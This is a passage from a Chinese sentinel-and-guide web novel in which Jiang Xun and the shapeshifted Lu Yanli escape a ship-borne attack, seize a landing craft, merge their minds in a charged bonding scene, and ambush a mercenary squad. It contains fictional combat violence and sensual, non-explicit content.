江寻顾不得自己，当先看向怀里的小树。 果然，它也受到了反噬，甚至看起来比自己还要严重，整个身体都瘫软了下去，眼睛大张着，却一丝神采也无。 怎么回事？ 江寻头晕脑胀，不知道发生了什么，却见房顶忽然闪烁起了红色的灯光，耳边噪音渐息，一道急促的警铃声终于被江寻捕捉到。 江寻面色一紧，顾不上其他，抱起小树踩上鞋子就往外奔去，一边跑一边喊道：“小A，发生了什么事？” 平直的电子音响起：“江寻先生，观测塔传来报告，东南方向发现数架不明登陆舰出现。已发送通讯请求，请求未通过。” “检测到神经风暴投射器攻击，攻击范围直径：3.7平方公里，中心点：静室南部730米处。敌袭！敌袭！已启动一级战备模式，请做好战斗准备！” “警告！警告！发现不明入侵者，紧急上报程序已启动，正在连接战争智脑阿瑞斯……警告！警告！连接失败！” 一系列警告信息被不停循环播报起来，整座别墅中开始闪烁红色警示灯。 江寻刚开始被一连串的警报信息惊了一下，随后马上冷静了下来，一边记下警报中提及的所有信息，一边动作迅速地奔下楼去，以最快的速度把自己武装了起来。 被他抱在怀中的小树，也在几分钟后强行醒转了过来。 * 是调相微波脉冲束…… 陆厌离忍住强烈的眩晕感，试图理清现在的状况。 这种空对地大型精神干扰武器，都是装载在登陆舰腹部，由阵列发射器发出的持续性干扰波束。 投射器内部的微波脉冲，在发射之前就要经过精密调制，只对特定的生物电磁场产生作用，针对性极强。 看这道脉冲束的强度，这至少是一艘中型舰艇！ 是冲着我来的！ 他疯了吗？他居然敢在寂静星上使用这种大规模空对地武器？ 陆厌离此时顾不上去想对方是怎么突破的最高智脑的封锁，对方已经用这种干扰性极强的大型武器抢占了先手优势，登录部队一定正在赶来的途中，他必须马上带江寻离开这里！ 陆厌离从江寻怀里跃下，刚走出一步，却趔趄摇晃一下，一下子侧摔了下去。 该死！离波束中心太近了！ 陆厌离挣扎了两下，却没能站得起来，眼神涣散着看向江寻。 江寻的反应很快，一看到小树的模样，马上把它从地上抄了起来，搂在怀里推开大门便向外奔去。 刚才听到的警讯从他心头掠过。 特别专业的名字他听不懂，可最起码的方向他听得分明。 敌人从东南方向而来，那个投射器攻击，中心点也在南方。于是，出了别墅大门，江寻丝毫没有犹豫，就向着北方跑了过去。 一边跑，一边不住地呼唤着怀里看起来状态极度不好的猫猫。 “小树，你怎么样？能听到我说话吗？” 猫猫一开始对他的呼唤毫无反应，待江寻越跑越远之后，才慢慢转过了神来。对着江寻一点头，努力睁大眼睛辨认一下周围的地貌，向着一个方向指了指。 江寻见状，马上调整了前进了方向，向着小树指出的方向继续奔去。 离脉冲束的中心点越远，陆厌离的神志便越发清明起来。他趴上江寻的肩膀向后看去，静室方向的空中，正悬停着一架没有标识的中型登陆舰。它的身后，还有四艘小型登陆舰，正呈包围状缓缓降落。 陆厌离心中暗自庆幸。 幸好上次检查尸体的时候发现了对方身上的发信器，提前把它扔到了南边去，否则这会儿，他们恐怕连跑都跑不掉了。 又仔细观察了片刻，陆厌离心中一紧。 二哥已经疯狂到不顾被最高智脑发现，直接在寂静星上使用大规模武器了，那定是想毕功于一役，一次性解决掉我。那这次来人的规模必不会少。 又想到他们当先用出的，专门针对自己的神经风暴投射器，恐怕这次的队伍不会像上一次一样，只是几个普通人雇佣兵了。 陆厌离的面色难看起来，虽然自己如今已经被江寻彻底净化完毕，可他刚刚在精神图景中，花费了大量精神力去冲击屏障。后来，又被脉冲束攻击到，被迫断开链接，受到了反噬。 到现在，他体内的精神力都在到处乱窜，难以控制。 如果只是他一个人的话，就算只凭借身体力量，他也敢直面对方一战。 可现在江寻也在他身边，他的精神力还在刚刚的疏导过程中消耗的所剩无几了。 他的身手在普通人与向导里算是好的，但要是对上哨兵，恐怕一个照面就会被击溃。 得先保证他的安全！ 陆厌离缓过神来，动了动爪子，见自己已经恢复了行动力，马上从江寻怀里跳了出来。 几步跳上身边的树梢，确定了一下方向，便当先带着江寻向一个方向跑去。 * “这就是你嘴里说的那人最后出现的地方？人呢？” 一个架着一挺重机枪，袒胸露腹的彪悍红发男人，一脚把面前破损的发信器踢飞，转身满面不善地看向跟在队伍最后，走得跌跌拌拌的年轻研究员。 闻言，跟在男人身后围成一圈的十几个外貌各异，但同样杀气腾腾的士兵们，也纷纷扭头看了过去。 吉姆被这群人形兵器的目光盯住，脑子都快要转不动了，不敢耽搁，匆忙解释道：“现在，离我们接收到信号已经十几天了，他当然不可能一直停在原地。但是，根据这段信号曾经途径过的路线来看，他一定没有走远，还在这片区域内才对！” 红发男人露出股不耐烦的神色：“我管你们那些狗屁倒灶的事！我们只是来杀人的，告诉我们目标和位置，不要浪费时间！” 听了男人的话，吉姆敢怒不敢言，只得低下头去，对着随身携带着的机器又是一顿操作，又与卫星地图上显示出来的地形一一对比后，指向地图上显示出的一个位置。 “我们的人上一次来时，登陆舰就降落在这个位置。从那里到这里，”吉姆用手指在地图上划了一条线出来，“这段路附近，应该就是目标经常出没的地方了。” 红发男人低头瞟了一眼地图，抬眼盯住吉姆：“这次不会再有错了吧？” 吉姆被他这蕴含着残酷杀意的眼神镇住，打了个哆嗦忙回道：“没问题！他绝对就在这附近！” 闻言，红发男人对着左右两边的两个男人点了点头，便有数道人影自动脱离大部队，站在两人身后分成两个小队，一左一右地向着地图上显示出的位置包抄了过去。 红发男人接着对着吉姆一抬下巴，吉姆便赶忙扭身，两手捧着仪器，当先带路向着北方走去。 “应该就在这附近了……” 吉姆看着手上的仪器，抬头打量着附近，眼睛掠过一个方向时，余光里，似乎看到一道灰影一闪而过。忙扭头回去，正看到一道灰影闪电般向着树上一跃，迅速消失在了林间。 “在那里！” 吉姆抬手指向那个方向，对着红发男人大喊道。 红发男人反应迅速地将背挂在身后的重机枪绕过肩头扛定，对着身后的几个手下一挥手，便向着林子追击而去。 几人的动作很快，还没等吉姆反应过来，已经消失在了林间。 吉姆站在原地，追也不是，不追又害怕，犹豫了良久，刚要提起脚步跟过去，却听身后传来轻微的“嗑哒”一声。 下一秒，手上一紧，颈间一凉，已是被一人从身后制住，横刀颈上。 “别！别杀我！我是被逼的！” 来人还没说话，吉姆便赶忙喊道，说话间，腰间挂着的护身枪就已经被来人解了下来。 这一下，他更加不敢反抗了，手中拿着的仪器当即落地，双手高举着半蹲了下来，声泪俱下： “别杀我！我不想死！不是我指使人来杀您的，我也是被逼的！您想知道什么我都说！求求您了，别杀我！” 吉姆说话间，身后的人动作也没停，把他的双手往后一扭，便用结实的藤蔓紧紧绑缚了起来。 这才转到了吉姆面前，看向他。 “别……哎？你是谁？”吉姆脸上还挂着恐惧的泪水，却在见到来人时，愣住了。 江寻眉毛一挑，没有回答他的问题，拽着吉姆就快速向着一个方向小跑而去。 到了目的地，江寻掀开面前层层堆叠在一起的阔叶，一艘小型登陆舰出现在了两人面前。 “嗯？这是那时的……”吉姆见到面前这艘眼熟的登陆舰，忍不住开口道，刚说了一句，马上便明白了过来：“你和他是一伙的？” 时间紧迫，小树不知道能吸引敌人多久，江寻没时间去和面前的人纠缠，直接抽出匕首搭上他的脖颈：“你有这艘飞船的管理权限吧？开启飞船，把权限转移给我！” 吉姆闻言，眼睛一转，正要说话，江寻已是刀尖一转，面无表情地一刀扎在了他的大腿上，吉姆当即痛声大叫起来。 “我没时间和你耍心眼，把权限交给我，我放你走，或者，守着你的权限死在这里。”江寻手上一使劲，直接把匕首从吉姆腿上拔了下来，伤口崩裂开来，滋出一道血线，当即又痛得他大叫一声。 “我有！这是我们监管所的飞船，我有权限！别动手！我给你转移！”吉姆本想拖延一下时间，哪知道对方如此果决心狠，再不敢耍花招，马上拖着伤腿连滚带爬地走了过去，开启了登陆舰。 又命令舰艇系统重新登陆了江寻的生物信息，把管理权限转移了过去。 权限到手，江寻提起的心这才落了下来。 刚才小树带着他过来看到这艘飞船的时候，他还以为这也是属于小树的飞船。与小树沟通了半天才搞明白，这是它之前缴获到的战利品，但是因为无法通过验证，得不到登陆权限无法使用。 还好，与他们猜测的一样，这次来到这里的人里，真的有与之前的人一伙的目标，这才让他们找到机会，从他手里拿到了权限。 “权限我给你了，你不能杀我！”吉姆紧紧捂着仍然在流血的大腿，缩在一边瑟瑟发抖地说道。 江寻看他一眼，几步走到他面前，在他惊骇欲绝的眼神里，一个手刀砍在他后颈上，砍得他晕了过去。又取了一段藤蔓，在他的大腿根部扎紧，止住了血流。 若是敌人便罢了，面对一个已无还手之力的人，他实在无法下手。可他也不能放他就这么走了，给他们带来麻烦。便打晕了他，把他往旁边树下厚厚的腐殖土里一丢，又焦急的回到舰船上，等待小树的回归。 毕竟在这里生活了这么久，陆厌离对这里地形的了解，不知高过那几个追逐而来的人多少倍。 带着他们在林子里溜了一圈，就顺利地甩开了他们，重新跑回来与江寻会和。 见江寻已经顺利地拿到了飞船的控制权限，陆厌离也松下口气，忙上了舰艇，用江寻的权限打开飞船导航，飞速在上面设定起来。 江寻只见猫猫上了飞船，就轻车熟路地唤出了一个操作界面，他还没来得及惊讶，便看它速度飞快地挥舞着爪子，在上面一通操作。 爪子最后在界面上一摁，确认了目的地，陆厌离收起导航，走向江寻。 “没问题了吗？我们现在就走？” 江寻看到小树结束了操作，向着他走来，连忙问道。 虽然不知道这些人究竟是什么人，小树又与他们有什么仇怨，但敌众我寡的情况下，江寻也十分赞同先离开再说。 这样一来，虽然过程与他想的不同，未来也是一片未知。但他也算是达成了一开始的想法：带着小树一起离开。 陆厌离闻言却沉默了下来。 来人的目标是他，又配备有好几艘舰艇一起行动，若是让他们注意到了这艘小型登陆舰，那他们两个都别想走得掉。 只有他还留在这里，对方才不会去管其他人，江寻才有机会离开。 可是，虽然已经理智的做出了决定，可面对江寻的询问时，还是有浓浓的不舍不甘涌上心头。 现在，他身上能用的精神力少得可怜，对方又是专门针对他有备而来。即使他如今沉疴尽去，也不敢肯定这次能好好活下来。 陆厌离目光闪烁，却见江寻半蹲下身来，目光专注地看向他。 陆厌离一楞，这一刻，充溢的情绪终于压倒了理智，他上前一步，仰头贴上江寻的额头。下一秒，江寻只觉熟悉的感觉袭来，体内的能量不自觉地跟着一跳。 眼前一暗一明，他已经再次回到了那片混沌空间之中—— 作者有话说：[加油]今天也顺利日九了！（＾－＾）V 第63章 江寻看着周围的景象一楞。 不是要走了吗？小树现在这是？ 还没等他想个明白， 便已经看到了不远处屏障内闪现出的身影。 控制着自己漂浮过去，江寻看向与自己一墙之隔的屏障内部。 那一边，小树已经重新积蓄起了力量， 开始重重向着面前的屏障轰击起来。 江寻眉头一皱， 追在他们后面的敌人不知道什么时候就要到了， 现在他们飞船的权限也拿到了，不是应该马上离开吗？小树这时候是要做什么？ 江寻想不明白，可此时也来不及和小树沟通清楚。 见它已经开始毫不顾忌地又抓又撞， 死命攻击着屏障， 便也提起体内的能量，从外部与它一起冲击起来。 坚固的屏障在不久前才刚刚受到了一波攻击，当时便已经在巨大的精神力冲击下动摇了起来。这么短的时间内，又被自己的主人毫无顾忌地再次冲撞起来，没有坚持一会儿，便开始剧烈震颤起来。 陆厌离一见有效， 更是狠下了心来， 身子缓缓下压， 把浑身的能量全部调动起来，集于一点， 一声咆哮，猛然把所有的力量全部释放出去， 合身撞在了屏障之上。 下一秒，屏障上闪起一片刺眼的白光， 时间与空间仿佛凝固了一瞬。 一片泛着微光的碎屑，从屏障中间脱落下来，向外飘散了一下后，倏然粉碎， 化为光尘消散无踪。随着这片碎屑的出现，整片屏障开始从中间向外飞速碎裂开来，只一眨眼的工夫，就远远蔓延了开去。 下一秒，江寻只感觉一股看不见的波动一震，眼前一片璀璨光影闪过，忍不住闭了闭眼。 再睁开眼时，整座屏障已经完全消失在了他的眼前。 * 屏障破碎的那一刻，陆厌离脑中仿佛响起一声沛然轰鸣，巨大的声波震得他脑波紊乱，耳膜鼓动，一瞬间失去了所有控制能力，脚下一空便往下方坠落了下去。 江寻刚看到面前的屏障消失，下一秒就见对面的小树，眼睛一翻便无知无觉地向着脚下的波涛坠落下去，赶忙往前一窜试图拉住它。 一片浩瀚空旷的天空之中，只见一个灰黑身影急速坠落下来，上方，一团朦胧光团紧追其后，猛然向下一扑，用自己的身体整个笼罩住了灰黑身影。 可下一刻，那灰黑身影便如穿过云雾一般直接冲破了光团的笼罩，毫无窒碍地继续往下坠去。 那光团一窒，瞬间从中飞射出无数光须，以极快的速度向下抓去。 可这些光须触到那灰色身影身上，便如阳光划过身体，丝毫不能让那身影慢下一秒。 眼看着那灰色身影坠落的速度越来越快，紧追在其后的光团之中忽然传出一声响彻天穹的清啸。 下一秒，一只乌黑发亮的长喙从光团之中猛地突破而出，巨大的光团迅速向后聚拢，化为片片白羽，一双宽阔有力的翅膀哗然伸展开来。 随着最后一点光晕化为翅翼上最后一支绒羽，一只神俊矫健的白隼猛地睁开了眼睛。 时间好像在这一刻慢了下来，那蜷缩着的灰色身影，脊背刚刚触碰到海面，漾开一小圈涟漪。便见天空之上，那白隼双翅向后一展，整个身影如子弹一般飞射了出去，斜掠而过的风压，在海面上犁出一道深深的裂隙。 速度快得几乎看不清的白影从灰影身下一闪而过，长鸣一声直直冲上了天空。 海面之上，当即失去了所有踪影。 * 江寻新奇地展开翅翼，从空中滑翔而过，带着背上的乘客，落在了塔楼顶端那个曾经造访过的阁楼里。 陆厌离也已经从那阵强烈的冲击中缓过了神来。 翻身而起，陆厌离睁大眼睛，看着面前站着的这只不断向外散发着熟悉精神波动的大鸟，眼睛动了动，迟疑着向前走了两步。随后，便露出坚定的眼神，一跃而起，扑上了大鸟的身体。 紧紧用四肢缠住大鸟的身体，体内仅剩的精神力被他控制着向大鸟身周逸散出来的精神力勾去。 两股已经十分熟悉对方的精神力，一触碰到一起，便自然的融汇为一体，在彼此内部纵横弥漫开来。 江寻对这个新生的身体还十分陌生，刚刚在地板上站定，便被面前的小树合身扑了上来。 还没学会控制的身体，让他毫无抵抗之力就被对方缠着倒了下去。 下一刻，一股能量从面前的猫猫身体里蔓延开来，缠上了他身周的能量。 嗯？ 江寻不明白小树这又是在做什么，不过论起对这个世界力量体系的认识，小树肯定比他熟得多，即使不理解，江寻也顺着小树的意思，同样调动起体内的力量缠了上去。 “呃啊……” 能量刚刚触碰到小树的身体，江寻就瞬间睁大了眼睛，嘴里没忍住地溢出一声低吟。 怎么回事？！ 江寻惊讶地抬眼去看小树，却又被蔓延上来的一波快感打断，身子一抖，从骨头缝里弥漫开来一股瘙痒。 “唔……” 咬牙咽下溢至嘴边的呻|吟，江寻一使劲就要推开缠在身上的猫猫。却见它同样张口挤出声细细的哀泣，又紧了紧四肢，更加死命地缠住了江寻，连尾巴都倒卷上来，紧紧扒上了他的翼翅根部。 同时，来自小树体内的能量，在勾缠住江寻的能量之后，便快速地回缩了回去，缠着江寻的力量一起倒卷回了它的身体里。 江寻只觉得心头一热，一股迷乱心神的强烈快感，便在他的力量被吸入小树的身体时，自体内油然而生。 随后，体内的能量便如开闸的洪水般汹涌而出，一股脑地泄入了小树体内。 * 陆厌离紧紧缠住江寻新生的精神体，两人的精神体纠缠着陷入越加庞大的精神风暴中，轮廓渐渐模糊，慢慢拉长成两个模糊的人形光团。 灰色的光团撕扯着自己，使劲往白色光团身上压过去，几乎想将自己团团挤进对方的身体里。 两道光团不停挤压着、缩涨着，渐渐地，变化速度越来越慢，化出两个五官模糊的人形来。 陆厌离喘息低泣着，几乎失去了理智，挤着自己仅剩的精神力勾缠上江寻，主动拉扯着他的精神力进入自己的身体，侵染自己的精神核心。 互相侵染对方的精神核心，这是已经确定绑定关系的哨兵向导才会去做的最后一道程序。 一旦精神核心为人所侵染，从此以后，精神力便只能与对方融汇，再也无法接受其他的哨兵向导。 这道程序，比正式的婚姻关系还要来的稳固而紧密，是所有的哨兵向导都需要郑重考虑过后，才会共同进行的最后一步。 但这一刻，陆厌离根本想都没有想，就对着江寻敞开了自己的精神核心。甚至是主动引导着对方，来侵染自己。 匹配度极高的精神力，刚一触碰在陆厌离的精神体身上，便极快地渗入了进去，激起一阵强烈的快感。 陆厌离哀泣一声，丝毫不管自己是否能承受得住，不管不顾地使劲拉扯、勾缠，让更多更多的精神力侵入他的体内。主动打开自己的核心，迎接对方的侵入。 强烈的被入侵，被占据的感觉袭上心头，激得陆厌离身体一阵阵的颤抖，可他的心中却克制不住地溢出汹涌的安全感。 使劲攀在对方身体上，把自己更多的挤进他的怀抱。 想让来人彻底把自己浸染成他的颜色，想向来人奉献出自己的所有，想在自己身上打下永恒的烙印，永远为他所有。 来吧，侵入我，烙印我，让我永远成为你的所有物。 陆厌离几乎是哭泣着，迎接着入侵者的来临，向着对方完全打开自己，迎接他的进入。 强烈的感情，更加助长了精神力的侵染，虹吸力量大增，大量的精神力被吸引着投入了陆厌离体内，陆厌离整个身体几乎是完全陷入了对方的精神力洪流之中。 潜意识中的渴望，让侵染的速度大增，陆厌离袒露出来的精神核心，在短短几息之内就彻底被江寻的精神力完全浸染了个彻底。 在侵染完全完成的那一刻，巨大的喜悦、依恋、爱意纠缠在一起，袭上陆厌离的心头，他的眼眸瞬间溢满泪水，喉中吐出带着哭腔的呻|吟低吼，身体哆嗦着紧紧绞缠上江寻。 当所有的情绪、感觉到达顶点的那一刻，陆厌离体内，两股精神力绞缠得最为激烈的那一点上，忽而燃起了一簇小小的火苗。 下一秒，这道小小的火苗猛地一涨，把围绕在它周围的精神力统统吞噬了进去。随后，轰然燃烧了开来，顺着旋转盘绕的大股精神力，瞬间引燃了陆厌离的身体。 变生肘腋之间，陆厌离完全来不及反应，便被这股虚幻的火苗团团包裹了进去，灭顶的快感从火苗中心炸裂开来，瞬间占据了陆厌离的所有神经末梢。 他头颅一仰，五官都在这刹那间完全失去了控制，面上一片空白，喉头赫赫几声，泪水涎液奔涌而出，糊满了整个面庞。 整个身体都在这股火焰的灼烧之下，失去控制般剧烈扭动起来。 后腰正中，渐渐从皮肤之下，浮起一个看不清的红色花纹。 就在这股火焰即将喷涌而出，沿着精神力的来路逆流而上之时，却从精神力的另一端传来一股淡淡的抗拒意味。 下一刻，无边烈火倒卷而回，重新收束回陆厌离体内。 陆厌离只觉如遭雷击，刚刚几乎逼得他疯狂的汹涌快感，瞬间消失的无影无踪。 后腰之上，红色花纹猛地一闪，半边失去了颜色，崩散开来。 另外半边，挣扎着闪烁了几下，终于红光一闪，印上了皮肤，又在一刻之后，缓缓失去颜色，隐没入皮肤之下。 * 陆厌离眼前一黑，意识如潮水般回流，被重新踢回了现实。 刚才在精神空间中经历过的一切还停留在他的脑海里，让他的四肢敏感地微微颤抖。 那是什么…… 还没等他想明白，面前的人突然开口，瞬间吸引到了他的全部注意力。 “刚刚那是什么？……你是人类？” * 强烈的愉悦感如源源不绝的湍急河流，从江寻心田中冲刷而过。新的能量不停地生出，又被裹挟着再次没入眼前那道灰色人影之中，周而复始无始无终。 江寻被强烈的情绪裹挟着，一同陷入了这场盛宴。 看着眼前这个模糊又带着些熟悉气息的人影，江寻眼中闪过戒备、惊讶、恍然，最后所有情绪都被深深埋进了眼眸深处，惟余三分猜疑与陌生。 但这些猜疑，并没有扰乱他的理智，他仍然清楚的知道，现在的状况下，与面前的人影合作起来，才是最需要做的事。 看出现在正是最关键的时刻，他丝毫没有反抗的意思，依然如最开始那般，顺着对方的需求，把自己的能量向着对方的身体里倾灌进去。 只是，现在他们使用的虽然不是真实的身体，可对方这么紧紧缠抱着自己的样子，还是让他感到了一丝别扭。 同时，能量在传输时，不停反馈过来的一波又一波强烈的愉悦感，也让他感觉尴尬无比。 压下心中升起的这一丝不协，他努力平复下自己的情绪，配合着对方动作。 眼看对方的反应越来越剧烈，他身上的能量流通速度也达到了最大。 江寻正想着，这次链接是不是马上就能结束时，对方那边突然发生了异变。 只见那个模糊的人影猛得一颤，高高扬起了脖子，凝固一般突然停下了所有的动作。 下一刻，灰色身影中，似乎有一点虚幻的红色光影突然间亮了起来，一瞬就从拳头大小的一点荧光扩散到了那人全身，接着，竟顺着他向那个身影传输的能量，向着他这边烧了过来。 异变突起，江寻心中下意识闪过一丝慌乱抗拒，下一瞬，那已然攀爬到一半的火焰突地一顿，又如时间倒流般，幡然倒转了回去，转瞬消失在了面前人影的身体之中。 江寻还没搞清楚这一来一回究竟是怎么回事，下一刻，熟悉的拉扯感传来，意识已然被踢出了那个混沌世界，在现实的身体中睁开了眼睛。 睁开眼睛后，江寻第一时间便看向了偎在自己身前的小树，微微站直了身子，向他问出了那句话。 听到他的问话，猫猫的眼睛瞬间睁大，眼中各种复杂的情绪一闪而过，犹豫了一下之后，似乎正要回答，却耳朵一动，猛然扭头看向了舰艇之外。 同一时间，江寻也敏锐地从风中闻到了一丝硝烟的味道，与猫猫对视一眼，立马提上武器，一前一后快速潜行进了前方的深林中。 来人根本没有隐藏的意思，江寻离得老远便将来人的身影收入了眼帘。 一、二、三、四、五、六。 江寻身披迷彩斗篷，隐身在一丛茂密的矮树之后，默默观察着来人。 居然一下子就来了六个！ 看着对方浑身披挂着的各种武器，毫无顾忌前进的样子，明显对自己的实力十分自信。 江寻额上滑下丝冷汗。 他还从没与这个世界的人真刀真枪的战斗过，看着眼前这帮人高马大的战争兵器，心底不由产生了一丝怯意。 抬头看向已经攀上树梢的小树，却见他眼神平淡冷冽，明明只是一只猫咪的姿态，动作间却充满冷静肃杀。 于是，他的心也平静了下来，如前几日的狩猎时一样，迅速进入了状态。 给小树打了个眼色，手指摇动比划出一系列战术动作。一人一猫当即向着前方六人的左右两边潜行了过去。 浓密的阔叶掩映下，江寻心跳加速，指尖冰凉，通过共享中的视野看向六人队伍。 这六人虽然一路行来毫无顾忌，但明显是一支极有经验的固定小队。 当先走在最前方的，是一个红发壮汉，肩扛重机枪，龙行虎步。 他一直在与其他人说着什么，面上看着鲁莽，江寻却注意到他的眼神十分冷静，一边走，眼神一边不停观察着周围。 他的身后跟着一个身材格外高大的木讷男人，他一手提着一面巨大的盾牌，一手持着一把大口径手枪，始终亦步亦趋地跟着红发男人走，一言不发。 行在这高大男人身后的两人，一个体型瘦弱神色阴狠，但身上却挂满了大量特种装备，仅仅江寻能够认出来的炸|弹，就有五、六种。 另外一人看起来是这几人之中看着最普通的一个，他中等身材，上半张脸被一个宽大的目镜所笼罩，背上背着一把很长的狙击步枪，手中还始终握着一把突击步枪，脚步沉稳，不停地扭着头看向四周高点。 除去这四个行在中间的人之外，还有两人一左一右，不停在队伍四周游走着，一个身材高瘦精悍，眼神锐利行动间无声无息。另一个，矮壮敦实鼻梁宽阔，眼神里透着凶狠残忍，穿着一身迷彩战术服，手中提着一把冲锋枪。 仔细看清楚了来人的模样，江寻心中很快有了计划，趁着他们游走的间隙，从右侧那个身材敦实的男人旁边绕了过去，不远不近地缀在六人身后，眼神锁定住走在最后面，那个背着狙击步枪的身影。 与此同时，从另一侧潜行过去的小树，也到达了它的位置。 它紧贴在几人头顶的一根树干上，墨绿瞳孔缩成一条细缝，背脊上每一根拂动着的毛发都收敛着气息，移动时竟比落叶更轻。如一道流淌的阴影，悄无声息地绕到了六人路过的大树后方。 江寻没有着急，紧盯着那个男人，等待着机会。 待得那男人微微压低手中步枪的枪口，江寻终于等到了他想要的机会。 就是现在！ 江寻深吸一口气，手上一抖，一块拳头大的石头被他砸向几十米外的一片灌木丛。 “哗啦！” 突兀的声响在寂静森林中格外刺耳。 “这边！”徘徊在侧翼的敦实男人首先有了反应，枪口迅速抬起指向声源，身后忽地扑出一只一身黄毛的猎犬，低吼一声就向着声源处跃了过去。 走在队伍最前的红发男人也猛地转身，沉重的脚步声踏碎了枯枝。就连走在中间，看上去最木讷的那个高大男人，也将盾牌微微转向了那个方向。 背着狙击步枪的男人，下意识地将目镜转向骚动点，手指搭上扳机。 就在他分神的毫厘之间，一道巨大的黑影如同鬼魅般自他头顶的树冠中扑下！没有嘶吼，只有撕裂空气的尖啸！ “咔嚓！” 昂贵的战术目镜连同下方的眼珠，在覆盖着幽暗光泽的利爪下，如同脆弱的蛋壳般瞬间粉碎，剧痛和黑暗瞬间吞噬了男人，他只来得及发出一声短促凄厉的惨叫，身体便在冲击力的作用下向着背后栽倒过去。 突袭成功的黑影毫不停留，借着下坠之势，朝着下方因狙击手的惨叫而惊愕抬头的队长方向，胸腔猛地扩张，喷出一团浓得化不开的、带着诡异甜腥味的蓝紫色雾气！ 雾气范围不大，却精准地将站在中间猝不及防的四人统统围绕了进去。 “呃啊！”距离最近的狙击手倒下后，首当其冲的便是那个体型瘦弱的男人。 他的反应明显不如身旁几人快速，眼看着那诡异雾气涌来，动作却慢了半拍，没有及时做出闪避。 下一秒，恐怖的麻痹感如同冰冷的潮水瞬间席卷全身，瘦弱男人眼睛瞪得目眦欲裂，也没有控制住自己的身体。挂满全身的各色炸|弹，一点儿作用都没起到，便轰然倒地，连咆哮都卡在了喉咙里。 侧翼徘徊的敦实男人和他的黄毛猎犬，仅仅只是擦着那团蓝紫色雾气而过，却在接触到雾气的那一刻，连哼都没哼一声，直接僵直着摔倒在地，面色惨白下来。 红发男人一见那蓝紫雾气，面色猛然大变，脚下一点，地面土石炸开，整个人飞也似得向着身后急退，这才躲过了蓝紫雾气突然的侵袭。 森林瞬间陷入死寂，只剩下最先倒下的狙击手剧烈的呻吟声。 离得最远处的高瘦男人瞳孔一瞬缩成了针尖，已经倒下的瘦弱男人，手指颤抖地摸向腰间的震撼弹，高大木讷的男人，怒吼一声，将巨盾死死护在身前，眼神中充满了难以置信的惊骇。 那道突袭的黑影，这才在几人面前露出了真容。 它浑身鬃毛被行进间荡起的烈风吹拂上了半空，猎猎飘扬，站在一块巨大的坚石顶端，墨绿色的瞳孔冰冷地扫视着剩余三人，宛如降临的死神—— 作者有话说：[托腮]今天的情节比较重要，有点难写，日不了九了，日个六给大家助助兴~ 第64章 森林的寂静被彻底撕碎， 蓝紫毒雾如垂死巨兽的喘息，缓缓在空气中弥散，徒留一阵甜腻的腥甜香气。 狙击手破碎的眼窝空洞地望向树冠， 鲜血混着不明液体顺着脸颊滑落， 淌进落叶。 敦实的男人和他的黄毛猎犬如同被冻结的雕像， 僵直着倒伏在腐叶堆里，黄毛猎犬身上一阵模糊，消失在了原地。 瘦弱的男人蜷缩着， 在地上小幅度地痉挛， 面色一片青白，手指颤动着伸向腰间，努力想要从腰包里取出什么东西，却连拉开拉链的力气都没有。 “吼——！” 一个照面之间便减员了一半，让红发队长愤怒得双目赤红起来。 他猛地发出一声咆哮，双臂一阵蠕动， 轰然鼓起， 化为两只巨大的熊掌。 右掌一个横扫， 身侧，碗口粗的树干便应声而断。巨掌挥舞之间， 弥散在一人一猫之间的残余毒雾，被搅得剧烈翻滚起来， 彻底消散。 暴熊胸膛剧烈起伏起来，茂盛的胸毛下的皮肤一阵蠕动， 沁出一丝丝颜色发黑的汗珠，怒目大睁，眼神比受伤的野兽更加凶戾。 自他在边缘星成功觉醒，成为B级哨兵之后， 经历过的战斗不知凡几。 从落魄到得意，一手拉扯起一支在几个星球间都赫赫有名的雇佣兵小队。 一路走来，水里来火里去，他自认实力绝非那些在金玉窝里长大的学院派能比，从来看不起那些联盟培养出来的哨兵。 却没想到，只是接了一个处理重度堕化的联盟哨兵的任务，刚一个照面，就让己方减员了三人！ 暴熊心中滴血，能一直跟在他身边的，每个都是潜力十足，被他一手拉拔起来的好手，他在他们身上投入的精力财力不知凡几。这一下，即使他们最后能顺利完成任务，拿到全部佣金，也弥补不了他的损失！ 刚才还表现的木讷少言的磐石，整个人缩在身前的巨盾背后，眼神中带上了一丝后怕。 龟甲般的脊背隆起，每一次呼吸都带起一阵沉重的摩擦声，盾牌表面沾染上的毒气，无声无息地向下腐蚀掉了一层。 离得最远的高瘦男人蝰蛇，眼神一闪，后退一步，整个人化为一片最致命的阴影，分叉的舌信在唇边一舔，阴冷的竖瞳直直看向躲藏在几人侧方，灌木后的江寻。 “先碾碎那小虫子！” 暴熊的吼声拉开了攻击的序幕。 巨盾轰鸣，如同移动的山峦，碾碎灌木，直逼江寻藏身之处。 死亡的阴影兜头罩下！ 与此同时，蝰蛇动了，潜藏在阴影里的毒蛇，如同蓄满力的毒箭，幽蓝的指尖划破空气，急速直奔江寻颈侧！ 灰影炸裂！ 立在坚石顶端的陆厌离，四肢肌肉炸起，脚下猛地一蹬，坚石被巨大的力道蹬得炸裂开来，巨大的冲击力推着他凶猛扑出，寒光利爪撕裂空气，带着腥风直掏磐石因背身而暴露出的后心！ 暴熊岂容他轻易过去？一个跨步插入两人中间，巨掌横身格挡，与锋利的猫爪碰撞在一起，发出金铁交鸣般的闷响。 闪着蓝光的尖利指甲，在暴熊厚厚的毛皮上抓出一条长长的泛黑血痕，却终是被他阻挡了下来。 陆厌离见状，也不与他拼力，两爪一蹬，在熊掌上借力扭身，尾巴闪电般扫出，如钢鞭般抽向蝰蛇袭去的手腕。 隐藏在阴影中的蝰蛇一惊，丝毫不敢硬接对方一击，当即身形一扭，诡异地抽身后缩回阴影之中。 巨盾的阴影迎面袭来，江寻面色一紧，向着侧方一个迅捷翻滚。巨大的轰鸣声从身后传来，地面被巨盾砸出一个深坑，爆射开来的土石打在前冲的江寻身后，砸得他内腑一阵翻涌。 眼见江寻躲开了致命的攻击，陆厌离瞳孔一竖，手下的攻击更加迅猛起来，绕在暴熊身边化为一道致命的灰影，每一次扑击都在暴熊身上留下深可见骨的毒痕，逼得他怒吼连连。 剧烈的动作加速了血液流动，几个起落之间，暴熊的动作便因精神毒素的侵蚀，而慢慢迟滞下来。 身形庞大的磐石，一手挥舞着巨盾追在江寻身后，可巨大的身形与武器，限制住了他的速度与灵活性，虽然每一次攻击都蕴着巨大的破坏力，却根本碰不到江寻分毫。 气怒之下，举起手中的大口径手枪朝着江寻便打了出去。 陆厌离眼眸一紧，却见江寻手腕一亮，振金护腕当即开启，撑起一面薄薄的透明护盾。 